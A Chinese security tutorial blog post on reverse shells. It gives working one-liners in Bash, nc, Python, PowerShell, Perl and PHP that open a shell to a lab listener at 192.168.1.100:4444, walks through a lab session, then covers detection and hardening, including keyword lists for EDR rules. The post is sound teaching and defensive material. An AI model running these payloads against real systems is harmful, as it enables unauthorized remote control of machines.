彻底搞懂反弹Shell:原理、常见姿势、流量检测与防御加固

干网络安全这一行的人,早晚都会碰到一个词:反弹Shell。不管你是刚入行的新人,还是已经打过不少授权攻防演练的老手,这个名字几乎会出现在每一次渗透测试、应急响应甚至红蓝对抗里。简单讲,反弹Shell是一种让目标机器主动向你的机器建立网络连接,从而把命令行交互会话“弹”回来的技术。为什么非要绕这么一下?因为绝大多数防火墙、安全组都更信任“从内到外”的出站连接,而正向连接在后渗透阶段经常打不通。这篇文章适合正在学渗透测试、想彻底搞懂反弹Shell流量原理的新手,也适合做安全运维和蓝队检测的朋友。我会把最常用的反弹姿势、一次完整的靶场复现、流量检测思路以及加固建议一次性讲清楚,全部基于授权测试与自建实验环境,放心往下看。

1. 反弹 Shell 的本质:为什么目标机要主动连出来

要理解反弹Shell,先得知道它和“正向连接”的区别。平时我们最常见的SSH、RDP都是客户端主动连服务器,这叫正向连接。换成渗透场景,就是你从攻击机主动去连接目标机开出来的一个端口,比如目标机上跑了一个后门程序监听4444端口,你的攻击机执行nc 目标IP 4444,就能拿到一个远程shell。

但现实里这种“正向”思路经常碰壁。原因主要有三个:

  • 目标机在内网或NAT后面,没有公网IP,攻击机根本找不到它。
  • 目标机的入站防火墙拦得死死的,外网IP主动发起连接直接被丢。
  • 即使你能访问某一个目标机,但那是它主动让你进来的,而不是你真正控制的通道。

反弹Shell的思路正好反过来:既然你没法连进去,那就让目标机自己“走出来”。具体做法是攻击机先在一个可达的IP和端口上开启监听,然后目标机执行一条反弹命令,主动向攻击机的IP发起连接。一旦三次握手完成,目标机上的shell进程就会把标准输入、标准输出、标准错误全部重定向到这条socket连接上。这时候你在攻击机上敲命令,命令通过TCP连接传给目标机的shell去执行,执行结果再沿同一条连接返回给你,看起来就像你坐在目标机前面打字一样。

用一个生活化的类比:正向连接就像你站在宿舍楼外,想让楼上同学把钥匙扔下来,你要爬窗户进去;反弹Shell则是你在楼下摆好接收垫子,让楼上同学直接顺着绳子滑下来。绳子的一端在目标机上,另一端攥在你手里。

这套思路背后最关键的假设是:出站连接通常比入站连接更“不受限”。很多企业的防火墙策略重点拦外部进来的异常流量,却对内部机器主动连出去的行为睁一只眼闭一只眼——这恰恰是反弹Shell能频繁奏效的根本原因。所以你可以把反弹Shell理解为“借道出站流量,反手拿回控制权”。

注意:无论在什么场景下,执行反弹Shell测试都必须先拿到明确的授权。没有授权,哪怕只在自己的电脑上对着别人的IP敲一条命令,也可能已经构成违法行为。后文所有操作请务必在自有靶场、虚拟机或授权测试系统中进行。

2. 常见反弹姿势与原理剖析

你在不同项目的目标机上会碰到完全不同的系统环境:有的机器是Linux但没有Python,有的机器是Windows但禁止运行PowerShell脚本,有的机器连bash都是阉割版。所以掌握多种反弹方式,而不是死记一条命令,是渗透测试的基本功。下面的姿势我都会先摆出命令,再拆解它为什么能工作。

2.1 Bash 反弹:最经典,也最常用

最典型的Bash反弹命令长这样:

bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

拆开看:

  • bash -i:以交互模式启动一个shell,这样才能让远程端获得一个可以打命令的会话。
  • >&:在Bash里是把标准输出和标准错误一起重定向到后面的目标。
  • /dev/tcp/192.168.1.100/4444:这不是一个真实文件,而是Bash提供的虚拟设备。只要你写成/dev/tcp/<IP>/<端口>,Bash就会尝试与那个IP和端口建立TCP连接。
  • 0>&1:把标准输入重定向到标准输出当前指向的地方。由于刚才标准输出已经指向了TCP连接,所以标准输入也被指到了这条连接上。

把这几部分拼起来,就是“启动一个交互shell,然后把这个shell的输入输出全部接到一条TCP连接上”,于是你在监听端看到的就是一个远程交互命令行。

这条命令虽然简单,但在真实环境里有很多细节。比如某些精简系统默认sh指向dash,不认/dev/tcp;又比如有些系统做了命令黑白名单,直接执行可能被审计拦下。常见变体是包一层bash -c:

bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'

这种方式的好处是可以在各种web命令执行入口里直接拼字符串,前提是引号转义处理好。

2.2 NC 反弹:灵活,但目标机得有这工具

NC,也就是Netcat,常被叫作“瑞士军刀”。反弹Shell最友好的用法是目标机上存在支持-e选项的传统版NC:

nc -e /bin/sh 192.168.1.100 4444

-e的意思是连接建立后,把socket上收到的数据直接交给/bin/sh执行,同时把执行结果通过socket送回去。一行命令搞定,非常清爽。

但很多主流Linux发行版自带的OpenBSD版NC不支持-e,因为设计者认为这个选项太容易被滥用。这时可以用命名管道(FIFO)来模拟双向通道:

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.100 4444 > /tmp/f

这条命令的含义是:先创建管道文件/tmp/f,然后cat /tmp/f把管道里的内容送给shell执行,shell的输出再经过NC送到攻击机。同时NC收到的攻击机数据通过> /tmp/f写回管道,数据流就这样形成闭环。

使用NC反弹要额外注意:NC不是所有目标机都预装的,很多生产服务器为了减少攻击面已经移除了NC。如果目标机上没有NC,就得结合其他方式。

2.3 Python 反弹:跨平台,依赖极低

Python在Linux系统上几乎都是自带的,所以这是一个非常有性价比的备用方案。经典命令如下:

python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.1.100",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'

这段代码的核心逻辑非常直观:

  • 创建一个TCP socket,并连接到攻击机的IP和端口。
  • os.dup2把socket的文件描述符复制到标准输入(0)、标准输出(1)、标准错误(2)。
  • subprocess.call(["/bin/sh","-i"])启动一个交互shell。

由于标准输入输出已经全部指向了socket,shell里的每一条命令结果都会从socket传出去。Python2和Python3的写法略有区别,但思路一致。如果在Windows目标机上跑Python,反弹命令里的/bin/sh要换成cmd.exe。

2.4 PowerShell 反弹:Windows 场景的常客

Windows环境下,PowerShell几乎是被用到最多的反弹姿势。这里给一个比较通用的PowerShell反向连接示例:

$client = New-Object System.Net.Sockets.TCPClient("192.168.1.100",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

这段脚本看起来长,但核心步骤也就四个:建立TCPClient连接;从socket里读取攻击机发来的命令字符串;用Invoke-Expression(缩写为iex)执行命令;把执行结果和提示符一起写回socket。执行后你会得到一个PowerShell交互会话,可以继续执行whoami、ipconfig等命令。

实际渗透测试里,PowerShell反弹经常要配合执行策略绕过或放到脚本文件里运行,因为直接贴整段命令很容易被杀软和EDR盯上。做检测的蓝队朋友也应该重点关注命令行里出现的New-Object System.Net.Sockets.TCPClient和iex关键字。

2.5 其他常见姿势:Perl、Ruby、Telnet 和 PHP

除了上面四种,还有一些特定环境中会碰到的姿势。Perl版本一般长这样:

perl -e 'use Socket;$i="192.168.1.100";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec{"/bin/sh"} "-sh";};'

Ruby版本思路也一样,只是调的库不同。Telnet反弹则是用Telnet客户端把shell和socket套在一起,老系统上偶尔能用。PHP多用于Web服务器场景:

php -r '$sock=fsockopen("192.168.1.100",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

这里的关键不是记住每一种语言,而是明白共同点:任何能把标准输入输出绑定到socket上的方法,都可以实现反弹Shell。你选哪种方式,取决于目标机上有什么解释器、有什么可用工具、出站口有没有被过滤。

3. 实战复现:在靶场中完整拿一次反弹会话

光讲原理不练手等于白看。下面我以最经典的两台Linux主机为例,带你从零复现一次Bash反弹和一次NC反弹。整个过程请在一台你自己的虚拟机或者两台Docker容器之间完成。

3.1 环境准备与网络拓扑

为了直观,我模拟一个最简单的测试环境:

角色操作系统内网测试IP关键工具
攻击机(监听端)Linux发行版192.168.1.100nc、bash
目标机(执行端)Linux发行版192.168.1.200bash、nc

两台机器要能互相通信。可以给攻击机加一个桥接网卡,也可以直接用Docker的默认bridge网络,只要保证IP互通即可。我建议新手在虚拟机里执行,因为快照功能能让你随时回滚到干净状态。

3.2 第一步:在攻击机上开启监听

打开攻击机终端,执行:

nc -lvnp 4444

参数含义:-l表示进入监听模式,-v表示输出详细信息,-n表示不对IP做域名解析,-p 4444指定监听端口。如果你的NC版本较老,可能需要写成nc -l -p 4444,但现代主流版本都支持-lvnp这种合并写法。

执行后你应该看到Listening on 0.0.0.0 4444之类的提示。用另一个终端执行ss -lntp | grep 4444,能查到当前监听状态,说明端口已经打开。

3.3 第二步:在目标机上执行反弹命令

切到目标机终端,执行:

bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

不要立刻在目标机上反复执行,如果攻击机还没监听好,这条命令会直接报Connection refused,这时候只要回到攻击机确认监听再重试即可。

执行成功后,攻击机的监听终端会出现类似这样的变化:

root@target:/#

这个提示符说明你已经拿到了目标机的交互Shell。接下来可以试试几条命令:

id whoami pwd ip addr ls -la /tmp

每输入一条命令,结果都会通过TCP连接返回到攻击机屏幕上。到这里,Bash反弹就已经完整跑通了。

注意:这种交互Shell和真正的图形终端不一样,很多需要伪终端(PTY)支持的操作会报错。比如直接敲su或者vim,经常会提示not a terminal。这是反弹Shell最常见的体验问题,后面会讲升级方法。

3.4 第三步:用 NC 再验证一遍 FIFO 方式

在攻击机上先按Ctrl+C结束上一个会话,重新开启监听:

nc -lvnp 4444

然后在目标机上执行:

nc -e /bin/sh 192.168.1.100 4444

如果目标机NC支持-e,你会立刻看到shell提示符。如果不支持,就退而用FIFO:

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.100 4444 > /tmp/f

这时候攻击机同样能拿到交互Shell。两种方式拿到的通道没有本质区别,最后都用exit退出会话。

3.5 实操心得:如何把不完整的反弹 Shell 升级成交互终端

刚弹回来的Shell通常很“脆”,不能用方向键查看历史命令,不能正常使用vim这类依赖伪终端程序。我在实战里最常用的升级路线是这样的:

第一步,在反弹Shell里执行:

python3 -c "import pty; pty.spawn('/bin/bash')"

如果没有python3,就换成python -c ...。这会让你获得一个用Python伪终端包装过的bash。

第二步,按Ctrl+Z把当前会话挂起到后台,回到攻击机本机终端。

第三步,在攻击机自己的终端里执行:

stty raw -echo fg

恢复前台的反弹Shell,再按一下回车,最后执行:

export TERM=xterm

此时你就能得到一个相对完整的、支持方向键和Tab补全的交互式终端了。这个操作只影响当前连接,不影响目标机系统本身,是渗透测试环节里非常实用的一步。

4. 蓝队视角:如何发现和追踪反弹 Shell

反弹Shell不只是红队的工具,也是蓝队应急响应里的“老朋友”。每当服务器被入侵、网页被挂马或者内网出现异常告警,分析师要回答的第一个问题往往是:对方是不是已经通过某种反向连接把Shell弹出去了?下面的内容能帮你建立一套基础的检测思路。

4.1 网络流量层面看什么特征

反弹Shell的流量在网络上非常特殊,抓包后一眼能看出它和大家熟悉的HTTP、DNS请求不一样。重点观察这几点:

  • 连接方向是内网主动向外网或向另一台内网机器发起的TCP连接,而且这个连接是新出现的,端口往往不是业务端口。
  • 连接从建立到断开会维持很长一段时间,中间没有明显的业务请求特征。流量可能很小,但一直存在。
  • 内容里会有明显的命令字符串,比如whoami、ls、id、cat /etc/passwd等shell命令的明文。
  • 如果连的是4444、5555、6666、7777这些“既有纪念意义又没业务用途”的高端口,那基本就很有嫌疑了。
  • 多台主机同一时间向同一个IP发起类似连接,这种行为更像攻击者集中操控肉鸡,需要立刻排查。

运营商出口防火墙或企业侧防火墙如果能做全量出站连接审计,可以直接把“内网到外网长连接且非业务协议”的流量全捞出来,命中率相当高。

4.2 主机侧进程和命令行怎么查

反弹Shell最终要在目标机上启动一个进程,常见的进程模型无非是bash、sh、nc、python、perl等。因此在主机侧,命令行的暴露面非常大:

  • 用ps aux排查时,留意命令行里有没有/dev/tcp、nc -e、socket、dup2、TCPClient这些关键词。
  • 反弹Shell很多时候是被Web服务启动的,比如PHP的fsockopen调用。这时会看到一个异常的子进程模型:父进程是nginx或apache,子进程却是/bin/sh,这本身就是严重风险信号。
  • Python反弹的父进程也可能是python,命令行里能看到import socket、subprocess.call等字符串。

我建议蓝队同学在服务器上部署命令行审计。Linux下可以利用内核的auditd来监控特定命令执行:

auditctl -w /bin/bash -p x -k shell_monitor

这样bash进程每次被执行都会留下审计记录。虽然不能直接抓到完整命令,但结合其他日志往往能顺藤摸瓜。

4.3 实用排查命令与分析思路

下面是一组我在应急响应中用得比较顺手的排查命令,供你参考:

# 1. 查看所有活跃TCP连接 ss -antup | grep ESTAB # 2. 列出正在运行的、可疑的shell和网络工具进程 ps aux | grep -E "/bin/sh|nc -e|ncat|socat|/dev/tcp|python.*socket" # 3. 查看最近建立的连接 last -f /var/log/wtmp

抓包分析也很关键。如果你怀疑某台机器正在建立反弹连接,可以先抓一段流量:

tcpdump -i eth0 host 192.168.1.100 and port 4444 -w shell.pcap

拿到pcap后用 wireshark 打开,直接看TCP流,如果流里明文出现了命令输出,那基本就可以实锤了。检测分析不能只靠一套规则,而是要把网络连接日志、进程命令行审计、应用日志三者串起来:先找到可疑连接,再看连接对应的进程,最后看进程是谁启动的,这个链条完整了,反弹Shell就无处可藏。

5. 常见问题排查与加固建议

学反弹Shell的过程中,绝大多数人都会卡在同一批小问题上。这里我按自己踩过的坑整理成表,再给出一份面向防御侧的加固建议。

5.1 连不上的时候按这个顺序自查

现象可能原因排查思路
攻击机监听失败端口被占用、权限不足用ss -lntp查端口占用,改用4444以上的其他端口
目标机执行命令直接报错bash不存在、不支持/dev/tcp换用python反弹或nc反弹
命令执行后目标机卡住无反应出站被防火墙拦截、目标机无法访问攻击机IP先在目标机ping 攻击机IP,再用nc -vz 攻击机IP 4444测端口连通性
攻击机有提示但随便敲命令就断网络不稳定、NAT保留时间短、TTY异常用ncat重试,或用FIFO方式再次反弹
反弹成功但看不到命令回显标准错误没有重定向,或命令本身不可交互检查命令中的2>&1和0>&1是否完整
拿到shell后发现不是交互终端没有PTY支持用python pty升级或script命令处理

这些排查点看起来琐碎,但在真实攻防里,一个端口改不改、一条重定向写没写全,往往就决定了你是不是白忙半小时。

5.2 面向防御侧的加固建议

如果你是从防御方视角看反弹Shell,可以考虑下面几件事:

  • 出站防火墙策略:默认拒绝内网到外网的高端口连接,只放行80、443、DNS等业务必需端口,并且尽量限制到特定的代理网关。
  • 主机级工具管理:生产环境不装不必要的NC、socat等网络工具。如果确实需要网络调试,严格限定使用时间并保留操作审计。
  • 命令行监控:部署EDR或HIDS,重点监控/bin/bash -c、/dev/tcp、nc -e、python.*socket、PowerShell的TCPClient与iex等高风险关键字。
  • 网络侧检测:在关键出口部署IDS/IPS,对“内到外TCP长连接”和“非业务端口连接”做告警。
  • 日志留存:至少保留90天以上的网络连接日志和进程创建日志,不然等发生安全事件再回来查,可能什么都查不到。

加固不是为了100%挡住所有攻击——这不是现实的目标,而是为了把攻击成本抬高,让攻击者必须使用更复杂、更容易暴露的隧道方式。

5.3 关于安全边界的一点提醒

最后多讲一句可能显得啰嗦但必须讲的话。文中所涉及的所有命令、姿势、检测规则,都应当只在你有明确授权的系统上使用。自己搭两台虚拟机做实验没问题,客户明确授权做渗透测试也没问题,但未经授权对任何真实机器执行反弹命令,都是在踩红线。安全和违法的距离,往往就在一纸授权书之间。希望所有看这篇内容的朋友,都把技术用在正当的攻防研究和系统防护上。

借着这个话题多说两句经验。我最早学反弹Shell的时候,只会背Bash那一条命令,直到某次授权测试目标机器上bash是阉割版,折腾半天才意识到“掌握原理比背命令重要”。后来我把常用姿势逐个在靶场里跑了一遍,才算真正理解:所有反弹Shell说到底就是三件事,找到一个可达的监听端,让目标机把标准输入输出接到socket上,再保证这条连接不被中途掐断。这个系列之后会继续写更偏攻击侧的方法拆解以及对应的检测规则升级,到时候再和大家聊。

相关新闻

DellEMC定制版ESXi 6.7镜像安装与硬件配置实战指南

DellEMC定制版ESXi 6.7镜像安装与硬件配置实战指南

简介&#xff1a;VMware ESXi 6.7.0 Update 3 的 Dell EMC 定制版安装包&#xff0c;面向使用 Dell 服务器的虚拟化运维与管理员&#xff0c;解决在 Dell 硬件上部署或升级裸机虚拟化平台时的驱动兼容与稳定性问题。包内共 157 个文件&#xff0c;以 154 个 VIB 驱动与组件包为…

2026/10/20 23:42:34 阅读更多 →
从CSV到MP4:动态图表视频制作全流程解析

从CSV到MP4:动态图表视频制作全流程解析

做数据可视化项目久了&#xff0c;你会慢慢发现一个规律&#xff1a;真正折磨人的从来不是画图那一下&#xff0c;而是数据本身。CSV 文件看着简单&#xff0c;三五列数据&#xff0c;几万行记录&#xff0c;一旦进入图表环节&#xff0c;各种问题就全冒出来了。缺失值、重复记…

2026/10/20 23:42:34 阅读更多 →
核电设备管理:为什么必须先EAM后ERP

核电设备管理:为什么必须先EAM后ERP

简介&#xff1a;本资源是一份深度剖析核电行业信息化演进路径的行业实践报告&#xff0c;面向电力系统信息化建设者、EAM/ERP实施顾问、能源行业IT管理者及高校能源管理专业师生。文档以大亚湾核电站为全球首个核电EAM落地案例切入&#xff0c;系统阐述其“先EAM后ERP”的渐进…

2026/10/20 23:42:34 阅读更多 →

最新新闻

Vidu Q4 Preview深度评测:AI视频生成迈向生产力工具的关键一步

Vidu Q4 Preview深度评测:AI视频生成迈向生产力工具的关键一步

最近几个创作群里讨论最多的&#xff0c;绕不开Vidu Q4 Preview。做AI视频的同仁应该都有感觉&#xff0c;这个赛道现在卷到什么程度&#xff1a;几乎每隔几天就有新版本、新模型冒出来&#xff0c;但大多是“看起来厉害、一上手就露馅”。Vidu Q4 Preview这次放出的内容&#…

2026/10/21 0:33:56 阅读更多 →
AI在芯片设计中的黑盒困局:一次IR压降事故带来的反思

AI在芯片设计中的黑盒困局:一次IR压降事故带来的反思

芯片世界里&#xff0c;有一句话最近被工程师们重复得越来越多&#xff1a;AI赢了棋局&#xff0c;却讲不出思路。就在上个月&#xff0c;我拿着一个AI辅助完成的block级floorplan给物理设计团队&#xff0c;线长比上一版少了12%&#xff0c;拥塞图也干净得不像话。结果等IR压降…

2026/10/21 0:33:56 阅读更多 →
计算智能体入门:从状态机到Q-learning的决策实现

计算智能体入门:从状态机到Q-learning的决策实现

1. 从零理解计算智能体的核心骨架计算智能体这个概念&#xff0c;听起来像是学术论文里的术语&#xff0c;但把它拆开来看&#xff0c;其实就是一个能感知环境、做出决策、执行动作的软件实体。你可以把它想象成一个在迷宫里找路的小机器人&#xff0c;它能看到周围哪里有墙、哪…

2026/10/21 0:33:55 阅读更多 →
MoE混合专家模型:稀疏激活如何破解大模型容量与成本困局

MoE混合专家模型:稀疏激活如何破解大模型容量与成本困局

从Transformer诞生起&#xff0c;前馈网络&#xff08;FFN&#xff09;就是"又笨重又绕不开"的角色&#xff1a;它占了模型近三分之二的参数量&#xff0c;但每个token都得老老实实把所有参数过一遍。你扩大模型容量&#xff0c;推理成本就跟着线性往上涨&#xff0c…

2026/10/21 0:33:55 阅读更多 →
开源30B模型硬刚闭源旗舰:科研场景实测与本地部署指南

开源30B模型硬刚闭源旗舰:科研场景实测与本地部署指南

最近开源圈又热闹起来了&#xff0c;一个主打科研场景的30B级别开源模型&#xff0c;直接放话要跟两家头部闭源大模型掰手腕。我当时第一反应是“又来一个刷榜的”&#xff0c;但仔细看完技术报告和社区实测数据之后&#xff0c;觉得这波还真不是营销话术&#xff0c;确实有货。…

2026/10/21 0:33:55 阅读更多 →
LLM强化学习全解析:PPO、GRPO、DPO等五类方法选型与实践

LLM强化学习全解析:PPO、GRPO、DPO等五类方法选型与实践

做LLM训练绕不开强化学习这块&#xff0c;标题里这五个字看着简单&#xff0c;真要分类起来其实挺讲究的。我前几年刚开始接触大模型对齐时&#xff0c;也把PPO、DPO、GRPO这些名词搞得晕头转向&#xff0c;后来用了一段时间才理清楚它们之间的血缘关系和适用场景。这篇博文就把…

2026/10/21 0:32:54 阅读更多 →

日新闻

统一内存+量化:锐龙AI Max PRO 400如何本地跑320B大模型

统一内存+量化:锐龙AI Max PRO 400如何本地跑320B大模型

这段时间硬件圈和AI圈都在传一个事&#xff1a;AMD锐龙AI Max PRO 400系列把最高192GB统一内存搬进了PC形态的产品里&#xff0c;按宣传口径&#xff0c;本地跑320B参数的大家伙不再是纸面概念。我第一反应倒不是“内存真大”&#xff0c;而是这话背后的含金量——它把过去只能…

2026/10/21 0:00:11 阅读更多 →
AI助手深度使用体验:对话质量、长文本处理与指令遵循如何留住用户

AI助手深度使用体验:对话质量、长文本处理与指令遵循如何留住用户

1. 从“封号重开”这个行为说起&#xff1a;用户到底在追求什么“封号重开”这四个字&#xff0c;放在任何产品语境里都带着一股决绝的味道。一个账号从零开始积累使用记录、调教偏好、沉淀工作流&#xff0c;背后是大量的时间和精力成本。正常情况下&#xff0c;没有人愿意主动…

2026/10/21 0:00:11 阅读更多 →
ROS中YOLOv3工程落地:通信同步、坐标变换与性能调优

ROS中YOLOv3工程落地:通信同步、坐标变换与性能调优

1. 为什么在ROS里硬刚YOLOv3不是“炫技”&#xff0c;而是工程落地的必经之路我第一次在某高校机器人实验室看到那台搭载Jetson TX2的移动底盘原地打转、反复识别错垃圾桶时&#xff0c;就意识到&#xff1a;单纯跑通darknet_ros demo和真正让YOLOv3在ROS里“干活”&#xff0c…

2026/10/21 0:00:11 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型&#xff08;GMM&#xff09;的语音识别系统&#xff0c;很多人第一反应就是一堆数学公式&#xff0c;觉得门槛很高。但如果你真的在MATLAB里把它落地跑通&#xff0c;会发现核心其实就是三件事&#xff1a;把声音变成特征向量&#xff0c;用GMM给每个类别…

2026/10/20 10:02:13 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人&#xff0c;但落到具体操作上&#xff0c;无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程&#xff1a;对图像做反白、改调色板、彩色转灰度&#xff0c;最后把像素数据导出成txt文件。单看每一…

2026/10/20 20:43:59 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词&#xff0c;你会发现一个很有意思的现象&#xff1a;每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型&#xff0c;有人指的是运动控制系统&#xff0c;还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/20 2:50:50 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 10:02:08 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 9:50:17 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 9:50:45 阅读更多 →